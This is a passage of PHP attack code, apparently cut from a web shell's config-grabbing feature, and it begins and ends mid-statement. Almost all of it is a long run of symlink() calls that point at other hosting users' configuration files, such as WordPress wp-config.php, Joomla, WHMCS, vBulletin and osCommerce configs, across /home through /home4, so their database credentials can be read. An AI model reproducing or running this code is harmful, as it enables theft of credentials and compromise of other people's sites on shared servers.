VBulletin4.txt'); symlink('/home/'.$user.'/public_html/forum/includes/config.php',$kola.' ~~ forum - vBulletin.txt'); symlink('/home/'.$user.'/public_html/forum/config.php',$kola.' ~~ forum - PhpBB.txt') ; symlink('/home/'.$user.'/public_html/amember/config.inc.php',$kola.' ~~ Amember.txt'); symlink('/home/'.$user.'/public_html/config.inc.php',$kola.' ~~ Amember2.txt'); symlink('/home/'.$user.'/public_html/vb/includes/config.php',$kola.' ~~ Vb.txt'); symlink('/home/'.$user.'/public_html/vb3/includes/config.php',$kola.' ~~ Vb3.txt'); symlink('/home/'.$user.'/public_html/upload/includes/config.php',$kola.' ~~ Upload.txt'); symlink('/home/'.$user.'/public_html/incl/config.php',$kola.' ~~ Malay.txt'); symlink('/home/'.$user.'/public_html/config/koneksi.php',$kola.' ~~ Lokomedia.txt'); symlink('/home/'.$user.'/public_html/config/config.php',$kola.' ~~ config.txt'); symlink('/home/'.$user.'/public_html/datas/config.php',$kola.' ~~ datas - configuration 3.txt'); symlink('/home/'.$user.'/public_html/forum/conf/config.php',$kola.' ~~ forum - Other-1.txt') ; symlink('/home/'.$user.'/public_html/include/config.php',$kola.' ~~ Other-2.txt'); symlink('/home/'.$user.'/public_html/config.php',$kola.' ~~ Other-3.txt') ; symlink('/home/'.$user.'/public_html/admin/conf.php',$kola.' ~~ admin - Other-4.txt'); symlink('/home/'.$user.'/public_html/connect.php',$kola.' ~~ Other-5.txt'); symlink('/home/'.$user.'/public_html/codelibrary/inc/variables.php',$kola.' ~~ Other-6.txt') ; symlink('/home/'.$user.'/public_html/client/configuration.php',$kola.' ~~ client - admin Whm1.txt') ; symlink('/home/'.$user.'/public_html/clients/configuration.php',$kola.' ~~ clients - Whm2.txt') ; symlink('/home/'.$user.'/public_html/billing/configuration.php',$kola.' ~~ billing - Whm3.txt') ; symlink('/home/'.$user.'/public_html/billings/configuration.php',$kola.' ~~ Whm4.txt') ; symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$kola.' ~~ whmcs - Whm5.txt') ; symlink('/home/'.$user.'/public_html/whm/configuration.php',$kola.' ~~ whm - Whm6.txt'); symlink('/home/'.$user.'/public_html/order/configuration.php',$kola.' ~~ order - Whm7.txt'); symlink('/home/'.$user.'/public_html/whmc/configuration.php',$kola.' ~~ whmc - Whm8.txt'); symlink('/home/'.$user.'/public_html/submitticket.php',$kola.' ~~ whm9.txt'); symlink('/home/'.$user.'/public_html/manage/configuration.php',$kola.' ~~ manage -Whm10.txt'); symlink('/home/'.$user.'/public_html/clientes/configuration.php',$kola.' ~~ clientes - Whm11.txt'); symlink('/home/'.$user.'/public_html/cliente/configuration.php',$kola.' ~~ cliente - Whm12txt'); symlink('/home/'.$user.'/public_html/clientsupport/configuration.php',$kola.' ~~ clientsupport - Whm13.txt'); symlink('/home/'.$user.'/public_html/support/configuration.php',$kola.' ~~ support - Whm13.txt'); symlink('/home/'.$user.'/public_html/supports/configuration.php',$kola.' ~~ supports - Whm14.txt'); symlink('/home/'.$user.'/public_html/cpanel/configuration.php',$kola.' ~~ cpanel - Whm15'); symlink('/home/'.$user.'/public_html/panel/configuration.php',$kola.' ~~ panel - Whm16'); symlink('/home/'.$user.'/public_html/host/configuration.php',$kola.' ~~ host - Whm17'); symlink('/home/'.$user.'/public_html/hosting/configuration.php',$kola.' ~~ hosting - Whm18'); symlink('/home/'.$user.'/public_html/hosts/configuration.php',$kola.' ~~ hosts - Whm19'); symlink('/home/'.$user.'/public_html/v1/configuration.php',$kola.' ~~ v1 - Whm20'); symlink('/home/'.$user.'/public_html/v2/configuration.php',$kola.' ~~ v2 - Whm21'); symlink('/home/'.$user.'/public_html/baru/configuration.php',$kola.' ~~ v2 - Whm22'); symlink('/home/'.$user.'/public_html/wp-config.php',$kola.' ~~ Wordpress.txt') ; symlink('/home/'.$user.'/public_html/blog/wp-config.php',$kola.' ~~ Wordpress.txt') ; symlink('/home/'.$user.'/public_html/Connections/cms_blog.php',$kola.' ~~ admin - cms_blog.txt') ; symlink('/home/'.$user.'/public_html/web/wp-config.php',$kola.' ~~ web - Wordpress .txt') ; symlink('/home/'.$user.'/public_html/welcome/wp-config.php',$kola.' ~~ welcome - Wordpress .txt') ; symlink('/home/'.$user.'/public_html/store/wp-config.php',$kola.' ~~ store - Wordpress .txt') ; symlink('/home/'.$user.'/public_html/wp/wp-config.php',$kola.' ~~ wp - Wordpress.txt'); symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$kola.' ~~ wp - beta - Wordpress.txt'); symlink('/home/'.$user.'/public_html/beta/wp-config.php',$kola.' ~~ beta - Wordpress.txt'); symlink('/home/'.$user.'/public_html/press/wp-config.php',$kola.' ~~ press - Wp13.txt'); symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$kola.' ~~ wordpress - Wordpress.txt'); symlink('/home/'.$user.'/public_html/wordpress/beta/wp-config.php',$kola.' ~~ wordpress - beta - Wordpress.txt'); symlink('/home/'.$user.'/public_html/news/wp-config.php',$kola.' ~~ news - Wordpress.txt'); symlink('/home/'.$user.'/public_html/new/wp-config.php',$kola.' ~~ new - Wordpress.txt'); symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$kola.' ~~ blog - Wordpress.txt'); symlink('/home/'.$user.'/public_html/home/wp-config.php',$kola.' ~~ home - Wordpress.txt'); symlink('/home/'.$user.'/public_html/portal/wp-config.php',$kola.' ~~ portal - Wordpres.txt'); symlink('/home/'.$user.'/public_html/site/wp-config.php',$kola.' ~~ site - Wordpress.txt'); symlink('/home/'.$user.'/public_html/main/wp-config.php',$kola.' ~~ main - Wordpress.txt'); symlink('/home/'.$user.'/public_html/test/wp-config.php',$kola.' ~~ test - Wordpress.txt'); symlink('/home/'.$user.'/public_html/SSI.php',$kola.' ~~ C M F .txt') ; symlink('/home/'.$user.'/public_html/forum/SSI.php',$kola.' ~~ forum - C M F .txt') ; symlink('/home/'.$user.'/public_html/system/sistem.php',$kola.' ~~ Lokomedia.txt'); symlink('/home/'.$user.'/public_html/mk_conf.php',$kola.' ~~ mk-portale1.txt'); symlink('/home/'.$user.'/public_html/includes/functions.php',$kola.' ~~ hpbb3.txt'); symlink('/home/'.$user.'/public_html/include/db.php',$kola.' ~~ infinity.txt'); symlink('/home/'.$user.'/public_html/conf_global.php',$kola.' ~~ invisio.txt'); symlink('/home/'.$user.'/public_html/admin/config.php',$kola.' ~~ admin - OpenCart-4.txt') ; symlink('/home2/'.$user.'/public_html/beta/configuration.php',$kola.' ~~ beta - Joomla.txt') ; symlink('/home2/'.$user.'/public_html/configuration.php',$kola.' ~~ joomla.txt') ; symlink('/home2/'.$user.'/public_html/includes/config.php',$kola.' ~~ vBulletin-2.txt') ; symlink('/home2/'.$user.'/public_html/home/configuration.php',$kola.' ~~ home - Joomla.txt') ; symlink('/home2/'.$user.'/public_html/store/configuration.php',$kola.' ~~ store - Joomla.txt') ; symlink('/home2/'.$user.'/public_html/joomla/configuration.php',$kola.' ~~ joomla - Joomla.txt'); symlink('/home2/'.$user.'/public_html/portal/configuration.php',$kola.' ~~ portal - Joomla.txt'); symlink('/home2/'.$user.'/public_html/joom/configuration.php',$kola.' ~~ joom - Joomla.txt'); symlink('/home2/'.$user.'/public_html/joo/configuration.php',$kola.' ~~ jom - Joomla.txt'); symlink('/home2/'.$user.'/public_html/cms/configuration.php',$kola.' ~~ cms - Joomla.txt'); symlink('/home2/'.$user.'/public_html/site/configuration.php',$kola.' ~~ site - Joomla.txt'); symlink('/home2/'.$user.'/public_html/main/configuration.php',$kola.' ~~ main - Joomla.txt'); symlink('/home2/'.$user.'/public_html/news/configuration.php',$kola.' ~~ news - Joomla.txt'); symlink('/home2/'.$user.'/public_html/new/configuration.php',$kola.' ~~ new - Joomla.txt'); symlink('/home2/'.$user.'/public_html/home/configuration.php',$kola.' ~~ home - Joomla.txt'); symlink('/home2/'.$user.'/public_html/test/configuration.php',$kola.' ~~ test - Joomla.txt'); symlink('/home2/'.$user.'/public_html/myshop/configuration.php',$kola.' ~~ myshop - Joomla.txt'); symlink('/home2/'.$user.'/public_html/Settings.php',$kola.' ~~ Smf.txt'); symlink('/home2/'.$user.'/public_html/smf/Settings.php',$kola.' ~~ smf - Smf.txt'); symlink('/home2/'.$user.'/public_html/forum/Settings.php',$kola.' ~~ forum - Smf.txt'); symlink('/home2/'.$user.'/public_html/forums/Settings.php',$kola.' ~~ forums - Smf.txt'); symlink('/home2/'.$user.'/public_html/sites/default/settings.php',$kola.' ~~ sites - default - configuration 3.txt'); symlink('/home2/'.$user.'/public_html/includes/dist-configure.php',$kola.' ~~ Zencart.txt'); symlink('/home2/'.$user.'/public_html/zencart/includes/dist-configure.php',$kola.' ~~ zencart - zencart.txt'); symlink('/home2/'.$user.'/public_html/shop/includes/dist-configure.php',$kola.' ~~ shop - zencart.txt'); symlink('/home2/'.$user.'/public_html/includes/configure.php',$kola.' ~~ Oscommerce.txt'); symlink('/home2/'.$user.'/public_html/oscommerce/includes/configure.php',$kola.' ~~ oscommerce - Oscommerce.txt'); symlink('/home2/'.$user.'/public_html/oscommerces/includes/configure.php',$kola.' ~~ oscommerces -Oscommerces.txt'); symlink('/home2/'.$user.'/public_html/shopping/includes/configure.php',$kola.' ~~ shopping - Shopping.txt'); symlink('/home2/'.$user.'/public_html/sale/includes/configure.php',$kola.' ~~ sale - Oscommerce.txt'); symlink('/home2/'.$user.'/public_html/store/includes/configure.php',$kola.' ~~ store - Oscommerce.txt'); symlink('/home2/'.$user.'/public_html/inc/config.php',$kola.' ~~ MyBB.txt') ; symlink('/home2/'.$user.'/public_html/forum/inc/config.php',$kola.' ~~ forum - MyBB .txt') ; symlink('/home2/'.$user.'/public_html/lib/config.php',$kola.' ~~ Balitbang.txt') ; symlink('/home2/'.$user.'/public_html/cc/includes/config.php',$kola.' ~~ VBulletin4.txt'); symlink('/home2/'.$user.'/public_html/forum/includes/config.php',$kola.' ~~ forum - vBulletin.txt'); symlink('/home2/'.$user.'/public_html/forum/config.php',$kola.' ~~ forum - PhpBB.txt') ; symlink('/home2/'.$user.'/public_html/amember/config.inc.php',$kola.' ~~ Amember.txt'); symlink('/home2/'.$user.'/public_html/config.inc.php',$kola.' ~~ Amember2.txt'); symlink('/home2/'.$user.'/public_html/vb/includes/config.php',$kola.' ~~ Vb.txt'); symlink('/home2/'.$user.'/public_html/vb3/includes/config.php',$kola.' ~~ Vb3.txt'); symlink('/home2/'.$user.'/public_html/upload/includes/config.php',$kola.' ~~ Upload.txt'); symlink('/home2/'.$user.'/public_html/incl/config.php',$kola.' ~~ Malay.txt'); symlink('/home2/'.$user.'/public_html/config/koneksi.php',$kola.' ~~ Lokomedia.txt'); symlink('/home2/'.$user.'/public_html/config/config.php',$kola.' ~~ config.txt'); symlink('/home2/'.$user.'/public_html/datas/config.php',$kola.' ~~ datas - configuration 3.txt'); symlink('/home2/'.$user.'/public_html/forum/conf/config.php',$kola.' ~~ forum - Other-1.txt') ; symlink('/home2/'.$user.'/public_html/include/config.php',$kola.' ~~ Other-2.txt'); symlink('/home2/'.$user.'/public_html/config.php',$kola.' ~~ Other-3.txt') ; symlink('/home2/'.$user.'/public_html/admin/conf.php',$kola.' ~~ admin - Other-4.txt'); symlink('/home2/'.$user.'/public_html/connect.php',$kola.' ~~ Other-5.txt'); symlink('/home2/'.$user.'/public_html/codelibrary/inc/variables.php',$kola.' ~~ Other-6.txt') ; symlink('/home2/'.$user.'/public_html/client/configuration.php',$kola.' ~~ client - admin Whm1.txt') ; symlink('/home2/'.$user.'/public_html/clients/configuration.php',$kola.' ~~ clients - Whm2.txt') ; symlink('/home2/'.$user.'/public_html/billing/configuration.php',$kola.' ~~ billing - Whm3.txt') ; symlink('/home2/'.$user.'/public_html/billings/configuration.php',$kola.' ~~ Whm4.txt') ; symlink('/home2/'.$user.'/public_html/whmcs/configuration.php',$kola.' ~~ whmcs - Whm5.txt') ; symlink('/home2/'.$user.'/public_html/whm/configuration.php',$kola.' ~~ whm - Whm6.txt'); symlink('/home2/'.$user.'/public_html/order/configuration.php',$kola.' ~~ order - Whm7.txt'); symlink('/home2/'.$user.'/public_html/whmc/configuration.php',$kola.' ~~ whmc - Whm8.txt'); symlink('/home2/'.$user.'/public_html/submitticket.php',$kola.' ~~ whm9.txt'); symlink('/home2/'.$user.'/public_html/manage/configuration.php',$kola.' ~~ manage -Whm10.txt'); symlink('/home2/'.$user.'/public_html/clientes/configuration.php',$kola.' ~~ clientes - Whm11.txt'); symlink('/home2/'.$user.'/public_html/cliente/configuration.php',$kola.' ~~ cliente - Whm12txt'); symlink('/home2/'.$user.'/public_html/clientsupport/configuration.php',$kola.' ~~ clientsupport - Whm13.txt'); symlink('/home2/'.$user.'/public_html/support/configuration.php',$kola.' ~~ support - Whm13.txt'); symlink('/home2/'.$user.'/public_html/supports/configuration.php',$kola.' ~~ supports - Whm14.txt'); symlink('/home2/'.$user.'/public_html/cpanel/configuration.php',$kola.' ~~ cpanel - Whm15'); symlink('/home2/'.$user.'/public_html/panel/configuration.php',$kola.' ~~ panel - Whm16'); symlink('/home2/'.$user.'/public_html/host/configuration.php',$kola.' ~~ host - Whm17'); symlink('/home2/'.$user.'/public_html/hosting/configuration.php',$kola.' ~~ hosting - Whm18'); symlink('/home2/'.$user.'/public_html/hosts/configuration.php',$kola.' ~~ hosts - Whm19'); symlink('/home2/'.$user.'/public_html/v1/configuration.php',$kola.' ~~ v1 - Whm20'); symlink('/home2/'.$user.'/public_html/v2/configuration.php',$kola.' ~~ v2 - Whm21'); symlink('/home2/'.$user.'/public_html/baru/configuration.php',$kola.' ~~ v2 - Whm22'); symlink('/home2/'.$user.'/public_html/wp-config.php',$kola.' ~~ Wordpress.txt') ; symlink('/home2/'.$user.'/public_html/blog/wp-config.php',$kola.' ~~ Wordpress.txt') ; symlink('/home2/'.$user.'/public_html/Connections/cms_blog.php',$kola.' ~~ admin - cms_blog.txt') ; symlink('/home2/'.$user.'/public_html/web/wp-config.php',$kola.' ~~ web - Wordpress .txt') ; symlink('/home2/'.$user.'/public_html/welcome/wp-config.php',$kola.' ~~ welcome - Wordpress .txt') ; symlink('/home2/'.$user.'/public_html/store/wp-config.php',$kola.' ~~ store - Wordpress .txt') ; symlink('/home2/'.$user.'/public_html/wp/wp-config.php',$kola.' ~~ wp - Wordpress.txt'); symlink('/home2/'.$user.'/public_html/wp/beta/wp-config.php',$kola.' ~~ wp - beta - Wordpress.txt'); symlink('/home2/'.$user.'/public_html/beta/wp-config.php',$kola.' ~~ beta - Wordpress.txt'); symlink('/home2/'.$user.'/public_html/press/wp-config.php',$kola.' ~~ press - Wp13.txt'); symlink('/home2/'.$user.'/public_html/wordpress/wp-config.php',$kola.' ~~ wordpress - Wordpress.txt'); symlink('/home2/'.$user.'/public_html/wordpress/beta/wp-config.php',$kola.' ~~ wordpress - beta - Wordpress.txt'); symlink('/home2/'.$user.'/public_html/news/wp-config.php',$kola.' ~~ news - Wordpress.txt'); symlink('/home2/'.$user.'/public_html/new/wp-config.php',$kola.' ~~ new - Wordpress.txt'); symlink('/home2/'.$user.'/public_html/blogs/wp-config.php',$kola.' ~~ blog - Wordpress.txt'); symlink('/home2/'.$user.'/public_html/home/wp-config.php',$kola.' ~~ home - Wordpress.txt'); symlink('/home2/'.$user.'/public_html/portal/wp-config.php',$kola.' ~~ portal - Wordpres.txt'); symlink('/home2/'.$user.'/public_html/site/wp-config.php',$kola.' ~~ site - Wordpress.txt'); symlink('/home2/'.$user.'/public_html/main/wp-config.php',$kola.' ~~ main - Wordpress.txt'); symlink('/home2/'.$user.'/public_html/test/wp-config.php',$kola.' ~~ test - Wordpress.txt'); symlink('/home2/'.$user.'/public_html/SSI.php',$kola.' ~~ C M F .txt') ; symlink('/home2/'.$user.'/public_html/forum/SSI.php',$kola.' ~~ forum - C M F .txt') ; symlink('/home2/'.$user.'/public_html/system/sistem.php',$kola.' ~~ Lokomedia.txt'); symlink('/home2/'.$user.'/public_html/mk_conf.php',$kola.' ~~ mk-portale1.txt'); symlink('/home2/'.$user.'/public_html/includes/functions.php',$kola.' ~~ hpbb3.txt'); symlink('/home2/'.$user.'/public_html/include/db.php',$kola.' ~~ infinity.txt'); symlink('/home2/'.$user.'/public_html/conf_global.php',$kola.' ~~ invisio.txt'); symlink('/home2/'.$user.'/public_html/admin/config.php',$kola.' ~~ admin - OpenCart-4.txt') ; symlink('/home3/'.$user.'/public_html/beta/configuration.php',$kola.' ~~ beta - Joomla.txt') ; symlink('/home3/'.$user.'/public_html/configuration.php',$kola.' ~~ joomla.txt') ; symlink('/home3/'.$user.'/public_html/includes/config.php',$kola.' ~~ vBulletin-2.txt') ; symlink('/home3/'.$user.'/public_html/home/configuration.php',$kola.' ~~ home - Joomla.txt') ; symlink('/home3/'.$user.'/public_html/store/configuration.php',$kola.' ~~ store - Joomla.txt') ; symlink('/home3/'.$user.'/public_html/joomla/configuration.php',$kola.' ~~ joomla - Joomla.txt'); symlink('/home3/'.$user.'/public_html/portal/configuration.php',$kola.' ~~ portal - Joomla.txt'); symlink('/home3/'.$user.'/public_html/joom/configuration.php',$kola.' ~~ joom - Joomla.txt'); symlink('/home3/'.$user.'/public_html/joo/configuration.php',$kola.' ~~ jom - Joomla.txt'); symlink('/home3/'.$user.'/public_html/cms/configuration.php',$kola.' ~~ cms - Joomla.txt'); symlink('/home3/'.$user.'/public_html/site/configuration.php',$kola.' ~~ site - Joomla.txt'); symlink('/home3/'.$user.'/public_html/main/configuration.php',$kola.' ~~ main - Joomla.txt'); symlink('/home3/'.$user.'/public_html/news/configuration.php',$kola.' ~~ news - Joomla.txt'); symlink('/home3/'.$user.'/public_html/new/configuration.php',$kola.' ~~ new - Joomla.txt'); symlink('/home3/'.$user.'/public_html/home/configuration.php',$kola.' ~~ home - Joomla.txt'); symlink('/home3/'.$user.'/public_html/test/configuration.php',$kola.' ~~ test - Joomla.txt'); symlink('/home3/'.$user.'/public_html/myshop/configuration.php',$kola.' ~~ myshop - Joomla.txt'); symlink('/home3/'.$user.'/public_html/Settings.php',$kola.' ~~ Smf.txt'); symlink('/home3/'.$user.'/public_html/smf/Settings.php',$kola.' ~~ smf - Smf.txt'); symlink('/home3/'.$user.'/public_html/forum/Settings.php',$kola.' ~~ forum - Smf.txt'); symlink('/home3/'.$user.'/public_html/forums/Settings.php',$kola.' ~~ forums - Smf.txt'); symlink('/home3/'.$user.'/public_html/sites/default/settings.php',$kola.' ~~ sites - default - configuration 3.txt'); symlink('/home3/'.$user.'/public_html/includes/dist-configure.php',$kola.' ~~ Zencart.txt'); symlink('/home3/'.$user.'/public_html/zencart/includes/dist-configure.php',$kola.' ~~ zencart - zencart.txt'); symlink('/home3/'.$user.'/public_html/shop/includes/dist-configure.php',$kola.' ~~ shop - zencart.txt'); symlink('/home3/'.$user.'/public_html/includes/configure.php',$kola.' ~~ Oscommerce.txt'); symlink('/home3/'.$user.'/public_html/oscommerce/includes/configure.php',$kola.' ~~ oscommerce - Oscommerce.txt'); symlink('/home3/'.$user.'/public_html/oscommerces/includes/configure.php',$kola.' ~~ oscommerces -Oscommerces.txt'); symlink('/home3/'.$user.'/public_html/shopping/includes/configure.php',$kola.' ~~ shopping - Shopping.txt'); symlink('/home3/'.$user.'/public_html/sale/includes/configure.php',$kola.' ~~ sale - Oscommerce.txt'); symlink('/home3/'.$user.'/public_html/store/includes/configure.php',$kola.' ~~ store - Oscommerce.txt'); symlink('/home3/'.$user.'/public_html/inc/config.php',$kola.' ~~ MyBB.txt') ; symlink('/home3/'.$user.'/public_html/forum/inc/config.php',$kola.' ~~ forum - MyBB .txt') ; symlink('/home3/'.$user.'/public_html/lib/config.php',$kola.' ~~ Balitbang.txt') ; symlink('/home3/'.$user.'/public_html/cc/includes/config.php',$kola.' ~~ VBulletin4.txt'); symlink('/home3/'.$user.'/public_html/forum/includes/config.php',$kola.' ~~ forum - vBulletin.txt'); symlink('/home3/'.$user.'/public_html/forum/config.php',$kola.' ~~ forum - PhpBB.txt') ; symlink('/home3/'.$user.'/public_html/amember/config.inc.php',$kola.' ~~ Amember.txt'); symlink('/home3/'.$user.'/public_html/config.inc.php',$kola.' ~~ Amember2.txt'); symlink('/home3/'.$user.'/public_html/vb/includes/config.php',$kola.' ~~ Vb.txt'); symlink('/home3/'.$user.'/public_html/vb3/includes/config.php',$kola.' ~~ Vb3.txt'); symlink('/home3/'.$user.'/public_html/upload/includes/config.php',$kola.' ~~ Upload.txt'); symlink('/home3/'.$user.'/public_html/incl/config.php',$kola.' ~~ Malay.txt'); symlink('/home3/'.$user.'/public_html/config/koneksi.php',$kola.' ~~ Lokomedia.txt'); symlink('/home3/'.$user.'/public_html/config/config.php',$kola.' ~~ config.txt'); symlink('/home3/'.$user.'/public_html/datas/config.php',$kola.' ~~ datas - configuration 3.txt'); symlink('/home3/'.$user.'/public_html/forum/conf/config.php',$kola.' ~~ forum - Other-1.txt') ; symlink('/home3/'.$user.'/public_html/include/config.php',$kola.' ~~ Other-2.txt'); symlink('/home3/'.$user.'/public_html/config.php',$kola.' ~~ Other-3.txt') ; symlink('/home3/'.$user.'/public_html/admin/conf.php',$kola.' ~~ admin - Other-4.txt'); symlink('/home3/'.$user.'/public_html/connect.php',$kola.' ~~ Other-5.txt'); symlink('/home3/'.$user.'/public_html/codelibrary/inc/variables.php',$kola.' ~~ Other-6.txt') ; symlink('/home3/'.$user.'/public_html/client/configuration.php',$kola.' ~~ client - admin Whm1.txt') ; symlink('/home3/'.$user.'/public_html/clients/configuration.php',$kola.' ~~ clients - Whm2.txt') ; symlink('/home3/'.$user.'/public_html/billing/configuration.php',$kola.' ~~ billing - Whm3.txt') ; symlink('/home3/'.$user.'/public_html/billings/configuration.php',$kola.' ~~ Whm4.txt') ; symlink('/home3/'.$user.'/public_html/whmcs/configuration.php',$kola.' ~~ whmcs - Whm5.txt') ; symlink('/home3/'.$user.'/public_html/whm/configuration.php',$kola.' ~~ whm - Whm6.txt'); symlink('/home3/'.$user.'/public_html/order/configuration.php',$kola.' ~~ order - Whm7.txt'); symlink('/home3/'.$user.'/public_html/whmc/configuration.php',$kola.' ~~ whmc - Whm8.txt'); symlink('/home3/'.$user.'/public_html/submitticket.php',$kola.' ~~ whm9.txt'); symlink('/home3/'.$user.'/public_html/manage/configuration.php',$kola.' ~~ manage -Whm10.txt'); symlink('/home3/'.$user.'/public_html/clientes/configuration.php',$kola.' ~~ clientes - Whm11.txt'); symlink('/home3/'.$user.'/public_html/cliente/configuration.php',$kola.' ~~ cliente - Whm12txt'); symlink('/home3/'.$user.'/public_html/clientsupport/configuration.php',$kola.' ~~ clientsupport - Whm13.txt'); symlink('/home3/'.$user.'/public_html/support/configuration.php',$kola.' ~~ support - Whm13.txt'); symlink('/home3/'.$user.'/public_html/supports/configuration.php',$kola.' ~~ supports - Whm14.txt'); symlink('/home3/'.$user.'/public_html/cpanel/configuration.php',$kola.' ~~ cpanel - Whm15'); symlink('/home3/'.$user.'/public_html/panel/configuration.php',$kola.' ~~ panel - Whm16'); symlink('/home3/'.$user.'/public_html/host/configuration.php',$kola.' ~~ host - Whm17'); symlink('/home3/'.$user.'/public_html/hosting/configuration.php',$kola.' ~~ hosting - Whm18'); symlink('/home3/'.$user.'/public_html/hosts/configuration.php',$kola.' ~~ hosts - Whm19'); symlink('/home3/'.$user.'/public_html/v1/configuration.php',$kola.' ~~ v1 - Whm20'); symlink('/home3/'.$user.'/public_html/v2/configuration.php',$kola.' ~~ v2 - Whm21'); symlink('/home3/'.$user.'/public_html/baru/configuration.php',$kola.' ~~ v2 - Whm22'); symlink('/home3/'.$user.'/public_html/wp-config.php',$kola.' ~~ Wordpress.txt') ; symlink('/home3/'.$user.'/public_html/blog/wp-config.php',$kola.' ~~ Wordpress.txt') ; symlink('/home3/'.$user.'/public_html/Connections/cms_blog.php',$kola.' ~~ admin - cms_blog.txt') ; symlink('/home3/'.$user.'/public_html/web/wp-config.php',$kola.' ~~ web - Wordpress .txt') ; symlink('/home3/'.$user.'/public_html/welcome/wp-config.php',$kola.' ~~ welcome - Wordpress .txt') ; symlink('/home3/'.$user.'/public_html/store/wp-config.php',$kola.' ~~ store - Wordpress .txt') ; symlink('/home3/'.$user.'/public_html/wp/wp-config.php',$kola.' ~~ wp - Wordpress.txt'); symlink('/home3/'.$user.'/public_html/wp/beta/wp-config.php',$kola.' ~~ wp - beta - Wordpress.txt'); symlink('/home3/'.$user.'/public_html/beta/wp-config.php',$kola.' ~~ beta - Wordpress.txt'); symlink('/home3/'.$user.'/public_html/press/wp-config.php',$kola.' ~~ press - Wp13.txt'); symlink('/home3/'.$user.'/public_html/wordpress/wp-config.php',$kola.' ~~ wordpress - Wordpress.txt'); symlink('/home3/'.$user.'/public_html/wordpress/beta/wp-config.php',$kola.' ~~ wordpress - beta - Wordpress.txt'); symlink('/home3/'.$user.'/public_html/news/wp-config.php',$kola.' ~~ news - Wordpress.txt'); symlink('/home3/'.$user.'/public_html/new/wp-config.php',$kola.' ~~ new - Wordpress.txt'); symlink('/home3/'.$user.'/public_html/blogs/wp-config.php',$kola.' ~~ blog - Wordpress.txt'); symlink('/home3/'.$user.'/public_html/home/wp-config.php',$kola.' ~~ home - Wordpress.txt'); symlink('/home3/'.$user.'/public_html/portal/wp-config.php',$kola.' ~~ portal - Wordpres.txt'); symlink('/home3/'.$user.'/public_html/site/wp-config.php',$kola.' ~~ site - Wordpress.txt'); symlink('/home3/'.$user.'/public_html/main/wp-config.php',$kola.' ~~ main - Wordpress.txt'); symlink('/home3/'.$user.'/public_html/test/wp-config.php',$kola.' ~~ test - Wordpress.txt'); symlink('/home3/'.$user.'/public_html/SSI.php',$kola.' ~~ C M F .txt') ; symlink('/home3/'.$user.'/public_html/forum/SSI.php',$kola.' ~~ forum - C M F .txt') ; symlink('/home3/'.$user.'/public_html/system/sistem.php',$kola.' ~~ Lokomedia.txt'); symlink('/home3/'.$user.'/public_html/mk_conf.php',$kola.' ~~ mk-portale1.txt'); symlink('/home3/'.$user.'/public_html/includes/functions.php',$kola.' ~~ hpbb3.txt'); symlink('/home3/'.$user.'/public_html/include/db.php',$kola.' ~~ infinity.txt'); symlink('/home3/'.$user.'/public_html/conf_global.php',$kola.' ~~ invisio.txt'); symlink('/home3/'.$user.'/public_html/admin/config.php',$kola.' ~~ admin - OpenCart-4.txt') ; symlink('/home4/'.$user.'/public_html/beta/configuration.php',$kola.' ~~ beta - Joomla.txt') ; symlink('/home4/'.$user.'/public_html/configuration.php',$kola.' ~~ joomla.txt') ; symlink('/home4/'.$user.'/public_html/includes/config.php',$kola.' ~~ vBulletin-2.txt') ; symlink('/home4/'.$user.'/public_html/home/configuration.php',$kola.' ~~ home - Joomla.txt') ; symlink('/home4/'.$user.'/public_html/store/configuration.php',$kola.' ~~ store - Joomla.txt') ; symlink('/home4/'.$user.'/public_html/joomla/configuration.php',$kola.' ~~ joomla - Joomla.txt'); symlink('/home4/'.$user.'/public_html/portal/configuration.php',$kola.' ~~ portal - Joomla.txt'); symlink('/home4/'.$user.'/public_html/joom/configuration.php',$kola.' ~~ joom - Joomla.txt'); symlink('/home4/'.$user.'/public_html/joo/configuration.php',$kola.' ~~ jom - Joomla.txt'); symlink('/home4/'.$user.'/public_html/cms/configuration.php',$kola.' ~~ cms - Joomla.txt'); symlink('/home4/'.$user.'/public_html/site/configuration.php',$kola.' ~~ site - Joomla.txt'); symlink('/home4/'.$user.'/public_html/main/configuration.php',$kola.' ~~ main - Joomla.txt'); symlink('/home4/'.$user.'/public_html/news/configuration.php',$kola.' ~~ news - Joomla.txt'); symlink('/home4/'.$user.'/public_html/new/configuration.php',$kola.' ~~ new - Joomla.txt'); symlink('/home4/'.$user.'/public_html/home/configuration.php',$kola.' ~~ home - Joomla.txt'); symlink('/home4/'.$user.'/public_html/test/configuration.php',$kola.' ~~ test - Joomla.txt'); symlink('/home4/'.$user.'/public_html/myshop/configuration.php',$kola.' ~~ myshop - Joomla.txt'); symlink('/home4/'.$user.'/public_html/Settings.php',$kola.' ~~ Smf.txt'); symlink('/home4/'.$user.'/public_html/smf/Settings.php',$kola.' ~~ smf - Smf.txt'); symlink('/home4/'.$user.'/public_html/forum/Settings.php',$kola.' ~~ forum - Smf.txt'); symlink('/home4/'.$user.'/public_html/forums/Settings.php',$kola.' ~~ forums - Smf.txt'); symlink('/home4/'.$user.'/public_html/sites/default/settings.php',$kola.' ~~ sites - default - configuration 3.txt'); symlink('/home4/'.$user.'/public_html/includes/dist-configure.php',$kola.' ~~ Zencart.txt'); symlink('/home4/'.$user.'/public_html/zencart/includes/dist-configure.php',$kola.' ~~ zencart - zencart.txt'); symlink('/home4/'.$user.'/public_html/shop/includes/dist-configure.php',$kola.' ~~ shop - zencart.txt'); symlink('/home4/'.$user.'/public_html/includes/configure.php',$kola.' ~~ Oscommerce.txt'); symlink('/home4/'.$user.'/public_html/oscommerce/includes/configure.php',$kola.' ~~ oscommerce - Oscommerce.txt'); symlink('/home4/'.$user.'/public_html/oscommerces/includes/configure.php',$kola.' ~~ oscommerces -Oscommerces.txt'); symlink('/home4/'.$user.'/public_html/shopping/includes/configure.php',$kola.' ~~ shopping - Shopping.txt'); symlink('/home4/'.$user.'/public_html/sale/includes/configure.php',$kola.' ~~ sale - Oscommerce.txt'); symlink('/home4/'.$user.'/public_html/store/includes/configure.php',$kola.' ~~ store - Oscommerce.txt'); symlink('/home4/'.$user.'/public_html/inc/config.php',$kola.' ~~ MyBB.txt') ; symlink('/home4/'.$user.'/public_html/forum/inc/config.php',$kola.' ~~ forum - MyBB .txt') ; symlink('/home4/'.$user.'/public_html/lib/config.php',$kola.' ~~ Balitbang.txt') ; symlink('/home4/'.$user.'/public_html/cc/includes/config.php',$kola.' ~~ 